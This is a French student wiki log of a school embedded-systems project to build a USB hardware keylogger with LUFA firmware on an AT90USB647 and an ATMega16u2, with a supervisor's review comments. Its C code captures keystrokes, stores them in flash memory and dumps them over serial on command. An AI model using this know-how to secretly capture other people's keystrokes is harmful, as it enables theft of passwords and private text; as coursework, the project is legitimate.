** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je développe la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]].&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, seulement que les LEDS ont été soudés à l'envers. &lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un de mes arduino qui n'est plus fonctionnel.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écris dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]].&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrive pas encore à récupérer les touches tapés via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, et ai filmé une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]].&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'Atmega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai modifiés légèrement pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoie de caractère où j'envoie directement le code HID obtenue via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'Atmega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'ancien élève. Comme quoi la librairie LUFA est vraiment complète et fonctionnel.&lt;br /&gt;
&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire via l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner à envoyé tout les caractères lu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans ma logique, j'utilise trois variables : ''page_start'' qui est la page où l'on commence l'écriture, ''page_actual'' qui indique la page courante et ''page_buffer_size'' qui indique la taille courante du buffer de donnée afin de trouver la place de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égale à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écris ensuite dans la flash à la page ''page_actual''. Puis on attend que l'écriture est effectué pour passer à la tâche suivante qui est l'envoie de la touche tapé.&lt;br /&gt;
&lt;br /&gt;
Du côté de l'Atmega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoie et la réception, l'utilisation de la fonction ''Serial_SendData'' pour envoyé les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayé de faire des fonctions de réceptions de paquet lorsque l'Atmega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMEGA vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin de re-enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapés sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à ''page_actual'' qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt ''FLASH_PAGE_SIZE'' - 1 fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
